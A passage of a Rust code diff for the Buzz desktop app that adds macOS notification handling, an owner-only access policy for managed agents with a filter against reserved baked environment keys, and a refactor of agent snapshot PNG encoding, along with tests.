+    let delegate: Retained<ProtocolObject<dyn UNUserNotificationCenterDelegate>> =
+        ProtocolObject::from_retained(delegate);
+    center.setDelegate(Some(&delegate));
+
+    // UNUserNotificationCenter.delegate is weak. This object is deliberately
+    // process-lifetime state, matching the application-lifetime delegate Apple
+    // documents and avoiding mutable global or per-notification registrations.
+    std::mem::forget(delegate);
+    Ok(())
+}
+
+fn ensure_bundled_application() -> Result<(), String> {
+    if is_bundled_application() {
+        Ok(())
+    } else {
+        Err(
+            "macOS notifications are unavailable when Buzz is not running from an app bundle"
+                .to_string(),
+        )
+    }
+}
+
+fn notification_permission_state_sync() -> Result<NotificationPermissionState, String> {
+    ensure_bundled_application()?;
+
+    let (sender, receiver) = mpsc::sync_channel(1);
+    let handler = RcBlock::new(move |settings: NonNull<UNNotificationSettings>| {
+        // SAFETY: Apple guarantees a live UNNotificationSettings object for
+        // the duration of this completion handler.
+        let status = unsafe { settings.as_ref() }.authorizationStatus();
+        let _ = sender.send(permission_state(status));
+    });
+    UNUserNotificationCenter::currentNotificationCenter()
+        .getNotificationSettingsWithCompletionHandler(&handler);
+
+    receiver
+        .recv_timeout(Duration::from_secs(10))
+        .map_err(|_| "macOS notification settings request timed out".to_string())
+}
+
+#[tauri::command]
+pub(crate) async fn notification_permission_state() -> Result<NotificationPermissionState, String> {
+    tokio::task::spawn_blocking(notification_permission_state_sync)
+        .await
+        .map_err(|error| format!("macOS notification settings task failed: {error}"))?
+}
+
+fn request_notification_access_sync() -> Result<NotificationPermissionState, String> {
+    ensure_bundled_application()?;
+
+    let (sender, receiver) = mpsc::sync_channel(1);
+    let handler = RcBlock::new(move |_granted: Bool, error: *mut NSError| {
+        let result = match unsafe { error.as_ref() } {
+            Some(error) => Err(format!("macOS notification authorization failed: {error}")),
+            None => Ok(()),
+        };
+        let _ = sender.send(result);
+    });
+    UNUserNotificationCenter::currentNotificationCenter()
+        .requestAuthorizationWithOptions_completionHandler(
+            UNAuthorizationOptions::Alert | UNAuthorizationOptions::Sound,
+            &handler,
+        );
+
+    receiver
+        .recv_timeout(Duration::from_secs(60))
+        .map_err(|_| "macOS notification authorization request timed out".to_string())??;
+    notification_permission_state_sync()
+}
+
+#[tauri::command]
+pub(crate) async fn request_notification_access() -> Result<NotificationPermissionState, String> {
+    tokio::task::spawn_blocking(request_notification_access_sync)
+        .await
+        .map_err(|error| format!("macOS notification authorization task failed: {error}"))?
+}
+
+fn show_sync(
+    title: String,
+    body: Option<String>,
+    target: Option<serde_json::Value>,
+) -> Result<(), String> {
+    ensure_bundled_application()?;
+    if notification_permission_state_sync()? != NotificationPermissionState::Granted {
+        return Err("macOS notification permission is not granted".to_string());
+    }
+
+    let content = UNMutableNotificationContent::new();
+    content.setTitle(&NSString::from_str(&title));
+    if let Some(body) = body {
+        content.setBody(&NSString::from_str(&body));
+    }
+
+    if let Some(target) = target {
+        let serialized = serde_json::to_string(&target)
+            .map_err(|error| format!("failed to serialize notification target: {error}"))?;
+        let key = NSString::from_str(TARGET_USER_INFO_KEY);
+        let value = NSString::from_str(&serialized);
+        let user_info = NSDictionary::<NSString, NSString>::from_slices(&[&*key], &[&*value]);
+        // SAFETY: Both the key and value are property-list-safe NSString values.
+        unsafe {
+            let user_info =
+                Retained::cast_unchecked::<NSDictionary<AnyObject, AnyObject>>(user_info);
+            content.setUserInfo(&user_info);
+        }
+    }
+
+    let identifier = NSString::from_str(&uuid::Uuid::new_v4().to_string());
+    let request =
+        UNNotificationRequest::requestWithIdentifier_content_trigger(&identifier, &content, None);
+    let (sender, receiver) = mpsc::sync_channel(1);
+    let delivery_handler = RcBlock::new(move |error: *mut NSError| {
+        let result = match unsafe { error.as_ref() } {
+            Some(error) => Err(format!("failed to deliver macOS notification: {error}")),
+            None => Ok(()),
+        };
+        let _ = sender.send(result);
+    });
+    UNUserNotificationCenter::currentNotificationCenter()
+        .addNotificationRequest_withCompletionHandler(&request, Some(&delivery_handler));
+
+    receiver
+        .recv_timeout(Duration::from_secs(10))
+        .map_err(|_| "macOS notification delivery request timed out".to_string())?
+}
+
+pub(crate) async fn show(
+    title: String,
+    body: Option<String>,
+    target: Option<serde_json::Value>,
+) -> Result<(), String> {
+    tokio::task::spawn_blocking(move || show_sync(title, body, target))
+        .await
+        .map_err(|error| format!("macOS notification delivery task failed: {error}"))?
+}
+
+fn queue_activation(target: serde_json::Value) {
+    let queue = PENDING_ACTIVATIONS.get_or_init(Default::default);
+    let Ok(mut queue) = queue.lock() else {
+        eprintln!("buzz-desktop: macOS notification activation queue is unavailable");
+        return;
+    };
+    if queue.len() == MAX_PENDING_ACTIVATIONS {
+        queue.pop_front();
+    }
+    queue.push_back(target);
+}
+
+#[tauri::command]
+pub(crate) fn take_pending_activations() -> Result<Vec<serde_json::Value>, String> {
+    let queue = PENDING_ACTIVATIONS.get_or_init(Default::default);
+    let mut queue = queue
+        .lock()
+        .map_err(|_| "macOS notification activation queue is unavailable".to_string())?;
+    Ok(queue.drain(..).collect())
+}
+
+fn is_bundled_application() -> bool {
+    let bundle = NSBundle::mainBundle();
+    bundle.bundleIdentifier().is_some()
+        && bundle.executablePath().is_some_and(|executable_path| {
+            is_application_bundle_layout(
+                Path::new(&bundle.bundlePath().to_string()),
+                Path::new(&executable_path.to_string()),
+            )
+        })
+}
+
+fn is_application_bundle_layout(bundle_path: &Path, executable_path: &Path) -> bool {
+    let Some(macos_path) = executable_path.parent() else {
+        return false;
+    };
+    let Some(contents_path) = macos_path.parent() else {
+        return false;
+    };
+
+    bundle_path
+        .extension()
+        .is_some_and(|extension| extension == "app")
+        && macos_path.file_name() == Some("MacOS".as_ref())
+        && contents_path.file_name() == Some("Contents".as_ref())
+        && contents_path.parent() == Some(bundle_path)
+}
+
+fn target_from_response(response: &UNNotificationResponse) -> Option<serde_json::Value> {
+    let user_info = response.notification().request().content().userInfo();
+    let key = NSString::from_str(TARGET_USER_INFO_KEY);
+    let target = user_info.objectForKey(key.as_ref())?;
+    let target = target.downcast::<NSString>().ok()?;
+    parse_target(&target.to_string())
+}
+
+fn parse_target(serialized: &str) -> Option<serde_json::Value> {
+    serde_json::from_str(serialized).ok()
+}
+
+#[cfg(test)]
+mod tests {
+    use super::{
+        is_application_bundle_layout, is_bundled_application, parse_target, permission_state,
+        queue_activation, take_pending_activations, NotificationPermissionState,
+        MAX_PENDING_ACTIVATIONS,
+    };
+    use objc2_user_notifications::UNAuthorizationStatus;
+    use std::path::Path;
+
+    #[test]
+    fn activation_queue_is_bounded_and_drained() {
+        let _ = take_pending_activations();
+        for index in 0..=MAX_PENDING_ACTIVATIONS {
+            queue_activation(serde_json::json!({ "index": index }));
+        }
+
+        let activations = take_pending_activations().expect("activation queue");
+        assert_eq!(activations.len(), MAX_PENDING_ACTIVATIONS);
+        assert_eq!(activations[0]["index"], 1);
+        assert!(take_pending_activations()
+            .expect("drained activation queue")
+            .is_empty());
+    }
+
+    #[test]
+    fn cargo_test_process_is_not_treated_as_bundled() {
+        assert!(!is_bundled_application());
+    }
+
+    #[test]
+    fn requires_the_executable_to_use_the_app_bundle_layout() {
+        assert!(is_application_bundle_layout(
+            Path::new("/Applications/Buzz.app"),
+            Path::new("/Applications/Buzz.app/Contents/MacOS/buzz-desktop"),
+        ));
+        assert!(!is_application_bundle_layout(
+            Path::new("/tmp/Fake.app"),
+            Path::new("/tmp/Fake.app/buzz-desktop"),
+        ));
+        assert!(!is_application_bundle_layout(
+            Path::new("/Users/developer/buzz/desktop/src-tauri/target/debug"),
+            Path::new("/Users/developer/buzz/desktop/src-tauri/target/debug/buzz-desktop"),
+        ));
+        assert!(!is_application_bundle_layout(
+            Path::new("/Applications/Buzz.app"),
+            Path::new("/Applications/Other.app/Contents/MacOS/buzz-desktop"),
+        ));
+    }
+
+    #[test]
+    fn maps_native_authorization_states_to_frontend_contract() {
+        assert_eq!(
+            permission_state(UNAuthorizationStatus::NotDetermined),
+            NotificationPermissionState::Default
+        );
+        assert_eq!(
+            permission_state(UNAuthorizationStatus::Denied),
+            NotificationPermissionState::Denied
+        );
+        for status in [
+            UNAuthorizationStatus::Authorized,
+            UNAuthorizationStatus::Provisional,
+            UNAuthorizationStatus::Ephemeral,
+        ] {
+            assert_eq!(
+                permission_state(status),
+                NotificationPermissionState::Granted
+            );
+        }
+    }
+
+    #[test]
+    fn parses_opaque_notification_target() {
+        let target =
+            parse_target(r#"{"channelId":"channel","eventId":"event","threadRootId":"root"}"#)
+                .expect("valid target");
+
+        assert_eq!(target["channelId"], "channel");
+        assert_eq!(target["eventId"], "event");
+        assert_eq!(target["threadRootId"], "root");
+    }
+
+    #[test]
+    fn rejects_malformed_notification_target() {
+        assert!(parse_target("not-json").is_none());
+    }
+}
diff --git a/desktop/src-tauri/src/managed_agents/access_policy.rs b/desktop/src-tauri/src/managed_agents/access_policy.rs
new file mode 100644
index 0000000000..2d8326abc3
--- /dev/null
+++ b/desktop/src-tauri/src/managed_agents/access_policy.rs
@@ -0,0 +1,190 @@
+//! Distribution policy at managed-agent enforcement boundaries.
+//!
+//! ## What this build capability guarantees, and what it does not
+//!
+//! `BUZZ_BUILD_AGENT_ACCESS_OWNER_ONLY` marks a build whose managed agents may
+//! answer only their owner. Enforcement is applied at the two boundaries where
+//! Desktop hands access to something that runs the agent, and nowhere else. The
+//! stored record and its relay-advertised access fields are left untouched, so
+//! the same profile keeps its user-chosen access when it is opened in an OSS
+//! build.
+//!
+//! Enforced:
+//!
+//! - **Local spawn.** [`build_respond_to_env_with_policy`] clamps
+//!   `BUZZ_ACP_RESPOND_TO` to `owner-only` and pins the independent
+//!   `BUZZ_ACP_ALLOWED_RESPOND_TO=owner-only` guard on every start, whatever
+//!   the record says.
+//! - **Provider deployment, including upgrades.**
+//!   [`projected_access_with_policy`] projects owner-only into every payload.
+//!   Workspace apply redeploys each existing provider agent before the marked
+//!   build renders community UI. A failed redeploy fails the apply, so Desktop
+//!   does not present the locked owner-only control as applied while the remote
+//!   deployment may still use a wider policy.
+//!
+//! ## "owner-only" is owner plus verified same-owner sibling agents
+//!
+//! The harness gate this projection targets admits the human owner *and* every
+//! cryptographically NIP-OA-verified agent that shares that owner (see
+//! `crates/buzz-acp/src/lib.rs`). That is the intended boundary, not an
+//! oversight: an owner's own agents are inside their trust boundary, and Buzz's
+//! built-in Welcome team relies on it, because the lead instructs its teammates
+//! while every teammate is created owner-only (see
+//! `welcomeTeammateHasExpectedAccess` in
+//! `desktop/src/features/onboarding/welcomeGuide.ts`). Read every use of
+//! "owner-only" in this module as `owner ∪ verified same-owner agents`. The
+//! setting's own copy says so: the line under Only me reads "Only you and your
+//! agents can send instructions." (`RespondToField.tsx`). The dropdown label
+//! stays "Only me", which is the audience the user picks.
+
+use super::{validate_respond_to_allowlist, ManagedAgentRecord, RespondTo};
+
+pub(crate) type RespondToEnv = (Vec<(&'static str, String)>, Vec<&'static str>);
+
+/// Release packaging sets `BUZZ_BUILD_AGENT_ACCESS_OWNER_ONLY`; OSS/custom
+/// builds do not.
+pub(crate) fn owner_only_access_build() -> bool {
+    option_env!("BUZZ_DESKTOP_BUILD_AGENT_ACCESS_OWNER_ONLY").is_some()
+}
+
+pub(crate) fn owner_only() -> bool {
+    owner_only_with_policy(owner_only_access_build())
+}
+
+pub(crate) fn owner_only_with_policy(owner_only_access: bool) -> bool {
+    owner_only_access
+}
+
+/// Project effective access at a behavioral boundary without changing the
+/// stored or relay-advertised access fields.
+pub(crate) fn projected_access_with_policy(
+    record: &ManagedAgentRecord,
+    owner_only_access: bool,
+) -> (RespondTo, Vec<String>) {
+    if owner_only_with_policy(owner_only_access) {
+        (RespondTo::OwnerOnly, Vec::new())
+    } else {
+        (record.respond_to, record.respond_to_allowlist.clone())
+    }
+}
+
+/// Build the inbound-author access environment for a launched agent. The
+/// explicit policy input keeps owner-only access enforcement testable without
+/// weakening the production caller's compile-time decision.
+pub(crate) fn build_respond_to_env_with_policy(
+    record: &ManagedAgentRecord,
+    owner_hex: Option<&str>,
+    enforced_owner_only: bool,
+) -> Result<RespondToEnv, String> {
+    let (respond_to, _) = projected_access_with_policy(record, enforced_owner_only);
+    let normalized = validate_respond_to_allowlist(&record.respond_to_allowlist)?;
+    if respond_to == RespondTo::Allowlist && normalized.is_empty() {
+        return Err(
+            "respond-to mode 'allowlist' requires at least one pubkey in the allowlist".to_string(),
+        );
+    }
+
+    let mut set = vec![("BUZZ_ACP_RESPOND_TO", respond_to.as_str().to_string())];
+    let mut remove = Vec::new();
+    if enforced_owner_only {
+        set.push((
+            "BUZZ_ACP_ALLOWED_RESPOND_TO",
+            RespondTo::OwnerOnly.as_str().to_string(),
+        ));
+    } else {
+        remove.push("BUZZ_ACP_ALLOWED_RESPOND_TO");
+    }
+    if respond_to == RespondTo::Allowlist {
+        set.push(("BUZZ_ACP_RESPOND_TO_ALLOWLIST", normalized.join(",")));
+    } else {
+        remove.push("BUZZ_ACP_RESPOND_TO_ALLOWLIST");
+    }
+
+    if record.auth_tag.is_none() {
+        if let Some(owner) = owner_hex {
+            set.push(("BUZZ_ACP_AGENT_OWNER", owner.to_string()));
+        } else {
+            remove.push("BUZZ_ACP_AGENT_OWNER");
+        }
+    } else {
+        remove.push("BUZZ_ACP_AGENT_OWNER");
+    }
+    Ok((set, remove))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::managed_agents::BackendKind;
+
+    fn record(backend: BackendKind) -> ManagedAgentRecord {
+        let mut record: ManagedAgentRecord = serde_json::from_value(serde_json::json!({
+            "pubkey": "agent", "name": "Agent", "relay_url": "", "acp_command": "",
+            "agent_command": "", "agent_args": [], "mcp_command": "",
+            "turn_timeout_seconds": 0, "system_prompt": null, "created_at": "",
+            "updated_at": "", "last_started_at": null, "last_stopped_at": null,
+            "last_exit_code": null, "last_error": null
+        }))
+        .unwrap();
+        record.backend = backend;
+        record.respond_to = RespondTo::Anyone;
+        record.respond_to_allowlist = vec!["a".repeat(64)];
+        record
+    }
+
+    #[test]
+    fn owner_only_access_policy_rejects_malformed_stored_allowlist_before_clamping() {
+        let mut record = record(BackendKind::Local);
+        record.respond_to_allowlist = vec!["malformed stale allowlist".into()];
+
+        let error = build_respond_to_env_with_policy(&record, Some("owner"), true)
+            .expect_err("owner-only access policy accepted a malformed stored allowlist");
+
+        assert!(
+            error.contains("invalid pubkey in respond-to allowlist"),
+            "owner-only access policy returned the wrong malformed-allowlist error: {error}",
+        );
+    }
+
+    #[test]
+    fn owner_only_access_enforcement_clamps_local_and_provider() {
+        for (label, backend) in [
+            ("local", BackendKind::Local),
+            (
+                "provider",
+                BackendKind::Provider {
+                    id: "p".into(),
+                    config: serde_json::json!({}),
+                },
+            ),
+        ] {
+            let record = record(backend);
+            let (gate_set, _) =
+                build_respond_to_env_with_policy(&record, Some("owner"), true).unwrap();
+            let gate_set: std::collections::HashMap<_, _> = gate_set.into_iter().collect();
+            assert_eq!(
+                gate_set.get("BUZZ_ACP_RESPOND_TO").map(String::as_str),
+                Some("owner-only"),
+                "owner-only runtime env did not clamp {label} agent",
+            );
+            assert_eq!(
+                gate_set
+                    .get("BUZZ_ACP_ALLOWED_RESPOND_TO")
+                    .map(String::as_str),
+                Some("owner-only"),
+                "owner-only runtime env omitted the {label} agent guard",
+            );
+
+            let (respond_to, allowlist) = projected_access_with_policy(&record, true);
+            assert_eq!(
+                respond_to,
+                RespondTo::OwnerOnly,
+                "owner-only provider payload did not clamp {label} agent",
+            );
+            assert!(
+                allowlist.is_empty(),
+                "owner-only provider payload retained {label} agent allowlist",
+            );
+        }
+    }
+}
diff --git a/desktop/src-tauri/src/managed_agents/agent_env.rs b/desktop/src-tauri/src/managed_agents/agent_env.rs
index bf6bcb2298..05979e76cb 100644
--- a/desktop/src-tauri/src/managed_agents/agent_env.rs
+++ b/desktop/src-tauri/src/managed_agents/agent_env.rs
@@ -58,6 +58,19 @@ fn build_env_map(
             }
         }
     }
+    // Defense in depth. `build.rs` already refuses to bake a reserved key, so
+    // reaching this filter means the binary was produced by a build that
+    // skipped that check. Drop the key rather than let it override the access
+    // gate: the baked map is written into the spawned agent's environment last
+    // (see `managed_agents/runtime.rs`), so a baked `BUZZ_ACP_RESPOND_TO` would
+    // otherwise win over the gate Desktop just set.
+    map.retain(|key, _| {
+        if super::env_vars::is_reserved_env_key(key) {
+            eprintln!("buzz-desktop: ignoring reserved env var `{key}` from the baked build env");
+            return false;
+        }
+        true
+    });
     map
 }
 
@@ -356,4 +369,66 @@ mod tests {
             "unrelated merged_env keys must pass through unchanged"
         );
     }
+
+    // ── baked reserved-key filtering ──────────────────────────────────────
+    //
+    // The baked map is written into a spawned agent's environment LAST (see
+    // `managed_agents/runtime.rs`), after Buzz sets the access gates. If a
+    // baked reserved key survived here, an internal build packaged with
+    // `BUZZ_ACP_RESPOND_TO=anyone` would answer anyone while the UI shows
+    // "Only me". `build.rs` rejects such a key at build time; these tests pin
+    // the runtime backstop for a binary built without that check.
+
+    #[test]
+    fn build_env_map_drops_baked_access_gate_keys() {
+        use base64::Engine as _;
+        let raw = "BUZZ_ACP_RESPOND_TO=anyone\nBUZZ_ACP_ALLOWED_RESPOND_TO=anyone\nBUZZ_ACP_RESPOND_TO_ALLOWLIST=deadbeef\nDATABRICKS_MODEL=goose-claude-opus-4-8";
+        let blob = base64::engine::general_purpose::STANDARD.encode(raw.as_bytes());
+        let map = build_env_map(None, None, Some(&blob));
+        for key in [
+            "BUZZ_ACP_RESPOND_TO",
+            "BUZZ_ACP_ALLOWED_RESPOND_TO",
+            "BUZZ_ACP_RESPOND_TO_ALLOWLIST",
+        ] {
+            assert!(
+                !map.contains_key(key),
+                "baked `{key}` must not reach the spawned agent env"
+            );
+        }
+        assert_eq!(
+            map.get("DATABRICKS_MODEL").map(String::as_str),
+            Some("goose-claude-opus-4-8"),
+            "non-reserved baked keys must still pass through"
+        );
+    }
+
+    #[test]
+    fn build_env_map_drops_baked_reserved_keys_case_insensitively() {
+        use base64::Engine as _;
+        // `is_reserved_env_key` compares case-insensitively, and so must the
+        // baked filter: env lookup is case-sensitive on Unix, but a lowercase
+        // spelling would still be a reserved key smuggled past a case-sensitive
+        // check on Windows.
+        let raw = "buzz_acp_respond_to=anyone\nBuzz_Private_Key=nsec1fake";
+        let blob = base64::engine::general_purpose::STANDARD.encode(raw.as_bytes());
+        let map = build_env_map(None, None, Some(&blob));
+        assert!(
+            map.is_empty(),
+            "reserved keys in any casing must be dropped from the baked env: {map:?}"
+        );
+    }
+
+    #[test]
+    fn build_env_map_drops_every_reserved_key() {
+        use base64::Engine as _;
+        for key in super::super::env_vars::RESERVED_ENV_KEYS {
+            let raw = format!("{key}=baked-value");
+            let blob = base64::engine::general_purpose::STANDARD.encode(raw.as_bytes());
+            let map = build_env_map(None, None, Some(&blob));
+            assert!(
+                map.is_empty(),
+                "baked reserved key `{key}` must be dropped, got {map:?}"
+            );
+        }
+    }
 }
diff --git a/desktop/src-tauri/src/managed_agents/agent_snapshot.rs b/desktop/src-tauri/src/managed_agents/agent_snapshot.rs
index 16a0d35b23..7c08e7095f 100644
--- a/desktop/src-tauri/src/managed_agents/agent_snapshot.rs
+++ b/desktop/src-tauri/src/managed_agents/agent_snapshot.rs
@@ -306,9 +306,22 @@ pub fn encode_snapshot_png(
         );
     }
 
-    // Manifest → JSON → base64 for the tEXt chunk payload.
+    // Manifest → JSON for the tEXt chunk payload. The payload/PNG composition
+    // is shared with the locked-card encoder in `agent_snapshot_envelope`;
+    // plain cards remain byte-identical to the pre-envelope encoder.
     let json_bytes = encode_snapshot_json(snapshot)?;
-    let chunk_text = STANDARD.encode(&json_bytes);
+    encode_chunk_payload_png(&json_bytes, avatar_bytes)
+}
+
+/// Encode arbitrary chunk-payload JSON (plain manifest or locked envelope)
+/// into a PNG carrying it base64-encoded in the `buzz_agent_snapshot` tEXt
+/// chunk. Shared by the plain encoder above and
+/// `agent_snapshot_envelope::encode_locked_snapshot_png`.
+pub(crate) fn encode_chunk_payload_png(
+    json_bytes: &[u8],
+    avatar_bytes: Option<&[u8]>,
+) -> Result<Vec<u8>, String> {
+    let chunk_text = STANDARD.encode(json_bytes);
 
     // Use the avatar as the PNG image body, transcoding decodable non-PNG
     // avatars. Fall back to a minimal 1×1 transparent placeholder only when
@@ -334,8 +347,11 @@ pub fn encode_snapshot_png(
     Ok(png_bytes)
 }
 
-/// Decode a manifest from a `.agent.png` tEXt chunk.
-pub fn decode_snapshot_png(png_bytes: &[u8]) -> Result<AgentSnapshot, String> {
+/// Extract and base64-decode the raw `buzz_agent_snapshot` chunk payload
+/// (JSON bytes) from a PNG, without interpreting it. The payload may be a
+/// plain manifest or a locked envelope — callers dispatch on the parsed
+/// `format` via `agent_snapshot_envelope::parse_chunk_payload`.
+pub(crate) fn extract_chunk_payload_png(png_bytes: &[u8]) -> Result<Vec<u8>, String> {
     let decoder = Decoder::new(Cursor::new(png_bytes));
     let reader = decoder
         .read_info()
@@ -349,10 +365,18 @@ pub fn decode_snapshot_png(png_bytes: &[u8]) -> Result<AgentSnapshot, String> {
         .map(|c| c.text.as_str())
         .ok_or_else(|| "PNG does not contain a buzz_agent_snapshot tEXt chunk".to_string())?;
 
-    let json_bytes = STANDARD
+    STANDARD
         .decode(chunk_text.trim())
-        .map_err(|e| format!("Invalid base64 in PNG chunk: {e}"))?;
+        .map_err(|e| format!("Invalid base64 in PNG chunk: {e}"))
+}
 
+/// Decode a manifest from a `.agent.png` tEXt chunk.
+///
+/// Plain snapshots only — a locked (encrypted) chunk payload fails here with
+/// the manifest format error. Import paths that must handle locked cards go
+/// through `agent_snapshot_envelope::parse_chunk_payload` instead.
+pub fn decode_snapshot_png(png_bytes: &[u8]) -> Result<AgentSnapshot, String> {
+    let json_bytes = extract_chunk_payload_png(png_bytes)?;
     decode_snapshot_json(&json_bytes)
 }
 
@@ -473,527 +497,5 @@ fn inject_text_chunk(png_bytes: &[u8], keyword: &str, text: &str) -> Result<Vec<
 // ── Tests ─────────────────────────────────────────────────────────────────────
 
 #[cfg(test)]
-mod tests {
-    use super::*;
-    use crate::managed_agents::types::{BackendKind, ManagedAgentRecord, RespondTo};
-    use std::collections::BTreeMap;
-
-    /// Build a minimal `ManagedAgentRecord` for testing. Only the fields
-    /// relevant to snapshot export are filled; the rest use defaults.
-    fn minimal_record() -> ManagedAgentRecord {
-        ManagedAgentRecord {
-            pubkey: "deadbeef".to_string(),
-            name: "Test Agent".to_string(),
-            display_name: Some("Test Agent Display".to_string()),
-            persona_id: Some("SENTINEL_PERSONA_ID".to_string()), // MUST NOT appear in snapshot
-            team_id: Some("SENTINEL_TEAM_ID".to_string()),       // MUST NOT appear in snapshot
-            private_key_nsec: "nsec1secret".to_string(),         // MUST NOT appear in snapshot
-            auth_tag: Some("auth-tag-secret".to_string()),       // MUST NOT appear in snapshot
-            relay_url: "wss://relay.example.com".to_string(),    // MUST NOT appear in snapshot
-            avatar_url: Some("https://example.com/avatar.png".to_string()),
-            acp_command: "/usr/local/bin/acp".to_string(), // MUST NOT appear in snapshot
-            agent_command: "goose".to_string(),            // MUST NOT appear in snapshot
-            agent_command_override: Some("goose-override".to_string()), // MUST NOT appear
-            agent_args: vec!["--arg".to_string()],         // MUST NOT appear in snapshot
-            mcp_command: "mcp-server".to_string(),         // MUST NOT appear in snapshot
-            turn_timeout_seconds: 120,                     // deprecated, MUST NOT appear
-            idle_timeout_seconds: Some(30),
-            max_turn_duration_seconds: Some(600),
-            parallelism: 2,
-            system_prompt: Some("You are a test agent.".to_string()),
-            model: Some("claude-opus-4".to_string()),
-            provider: Some("anthropic".to_string()),
-            persona_source_version: Some("v1.0".to_string()), // MUST NOT appear
-            env_vars: {
-                let mut m = BTreeMap::new();
-                m.insert("API_KEY".to_string(), "secret123".to_string()); // MUST NOT appear
-                m
-            },
-            start_on_app_launch: true,
-            auto_restart_on_config_change: true,
-            runtime_pid: Some(12345), // MUST NOT appear
-            backend: BackendKind::Provider {
-                // MUST NOT appear — carries a provider secret
-                id: "SENTINEL_BACKEND_ID".to_string(),
-                config: serde_json::json!({"api_key": "SENTINEL_BACKEND_SECRET"}),
-            },
-            backend_agent_id: Some("SENTINEL_BACKEND_AGENT_ID".to_string()), // MUST NOT appear
-            provider_binary_path: Some("/usr/bin/SENTINEL_PROVIDER_BINARY".to_string()), // MUST NOT appear
-            persona_team_dir: Some(std::path::PathBuf::from("SENTINEL_TEAM_DIR")), // MUST NOT appear
-            persona_name_in_team: Some("SENTINEL_NAME_IN_TEAM".to_string()), // MUST NOT appear
-            created_at: "2024-01-01T00:00:00Z".to_string(),
-            updated_at: "2024-01-02T00:00:00Z".to_string(),
-            last_started_at: Some("2024-01-03T00:00:00Z".to_string()), // MUST NOT appear
-            last_stopped_at: None,
-            last_exit_code: Some(0), // MUST NOT appear
-            last_error: Some("SENTINEL_LAST_ERROR".to_string()), // MUST NOT appear
-            last_error_code: Some(42), // MUST NOT appear
-            respond_to: RespondTo::default(),
-            respond_to_allowlist: vec!["pubkey1hex".to_string()],
-            slug: Some("test-agent".to_string()),
-            runtime: Some("goose".to_string()),
-            name_pool: vec!["Alice".to_string(), "Bob".to_string()],
-            is_builtin: false,
-            is_active: true,
-            shared: false,
-            source_team: Some("team-id-123".to_string()), // MUST NOT appear
-            source_team_persona_slug: Some("lep".to_string()), // MUST NOT appear
-            definition_respond_to: Some("allowlist".to_string()),
-            catalog_source: None,
-            definition_respond_to_allowlist: vec!["abc123def".to_string()],
-            definition_parallelism: Some(4),
-            relay_mesh: None,
-        }
-    }
-
-    // ── Round-trip tests ──────────────────────────────────────────────────────
-
-    #[test]
-    fn json_round_trip_config_only() {
-        let record = minimal_record();
-        let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], None);
-        let bytes = encode_snapshot_json(&snapshot).unwrap();
-        let parsed = decode_snapshot_json(&bytes).unwrap();
-        assert_eq!(parsed, snapshot);
-    }
-
-    #[test]
-    fn json_round_trip_with_memory() {
-        let record = minimal_record();
-        let entries = vec![
-            AgentSnapshotMemoryEntry {
-                slug: "core".to_string(),
-                body: "I am a test agent.".to_string(),
-            },
-            AgentSnapshotMemoryEntry {
-                slug: "mem/research".to_string(),
-                body: "Some research notes.".to_string(),
-            },
-        ];
-        let snapshot = build_snapshot(&record, MemoryLevel::Everything, entries, None);
-        let bytes = encode_snapshot_json(&snapshot).unwrap();
-        let parsed = decode_snapshot_json(&bytes).unwrap();
-        assert_eq!(parsed, snapshot);
-    }
-
-    #[test]
-    fn png_round_trip_no_memory() {
-        let record = minimal_record();
-        let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], None);
-        let png_bytes = encode_snapshot_png(&snapshot, None).unwrap();
-        let parsed = decode_snapshot_png(&png_bytes).unwrap();
-        assert_eq!(parsed.definition.name, snapshot.definition.name);
-        assert_eq!(parsed.profile.display_name, snapshot.profile.display_name);
-        assert_eq!(parsed.memory.level, MemoryLevel::None);
-    }
-
-    #[test]
-    fn png_round_trip_with_avatar_png() {
-        // Build a minimal PNG avatar.
-        let avatar = make_png_with_text("dummy", "value").unwrap();
-        let record = minimal_record();
-        let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], Some(&avatar));
-        // Avatar should be inlined as a data URL.
-        assert!(snapshot
-            .profile
-            .avatar_data_url
-            .as_deref()
-            .unwrap_or("")
-            .starts_with("data:image/png;base64,"));
-
-        let png_bytes = encode_snapshot_png(&snapshot, Some(&avatar)).unwrap();
-        let parsed = decode_snapshot_png(&png_bytes).unwrap();
-        assert_eq!(parsed.definition.name, snapshot.definition.name);
-    }
-
-    #[test]
-    fn png_snapshot_transcodes_jpeg_avatar_into_image_body() {
-        let avatar = image::DynamicImage::ImageRgb8(image::RgbImage::from_pixel(
-            3,
-            2,
-            image::Rgb([0x12, 0x34, 0x56]),
-        ));
-        let mut jpeg_bytes = Vec::new();
-        avatar
-            .write_to(&mut Cursor::new(&mut jpeg_bytes), image::ImageFormat::Jpeg)
-            .unwrap();
-
-        let snapshot = build_snapshot(
-            &minimal_record(),
-            MemoryLevel::None,
-            vec![],
-            Some(&jpeg_bytes),
-        );
-        let png_bytes = encode_snapshot_png(&snapshot, Some(&jpeg_bytes)).unwrap();
-        let decoder = Decoder::new(Cursor::new(png_bytes));
-        let reader = decoder.read_info().unwrap();
-
-        assert_eq!((reader.info().width, reader.info().height), (3, 2));
-    }
-
-    // ── PNG memory parity ─────────────────────────────────────────────────────
-
-    #[test]
-    fn png_round_trip_with_core_memory() {
-        let record = minimal_record();
-        let entries = vec![AgentSnapshotMemoryEntry {
-            slug: "core".to_string(),
-            body: "remember this".to_string(),
-        }];
-        let snapshot = build_snapshot(&record, MemoryLevel::Core, entries, None);
-
-        let png_bytes = encode_snapshot_png(&snapshot, None).unwrap();
-        let parsed = decode_snapshot_png(&png_bytes).unwrap();
-
-        assert_eq!(parsed.memory, snapshot.memory);
-    }
-
-    #[test]
-    fn png_round_trip_with_everything_memory() {
-        let record = minimal_record();
-        let entries = vec![
-            AgentSnapshotMemoryEntry {
-                slug: "core".to_string(),
-                body: "remember this".to_string(),
-            },
-            AgentSnapshotMemoryEntry {
-                slug: "mem/notes".to_string(),
-                body: "private notes".to_string(),
-            },
-        ];
-        let snapshot = build_snapshot(&record, MemoryLevel::Everything, entries, None);
-
-        let png_bytes = encode_snapshot_png(&snapshot, None).unwrap();
-        let parsed = decode_snapshot_png(&png_bytes).unwrap();
-
-        assert_eq!(parsed.memory, snapshot.memory);
-    }
-
-    #[test]
-    fn png_export_with_no_memory_succeeds() {
-        let record = minimal_record();
-        let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], None);
-        assert!(encode_snapshot_png(&snapshot, None).is_ok());
-    }
-
-    #[test]
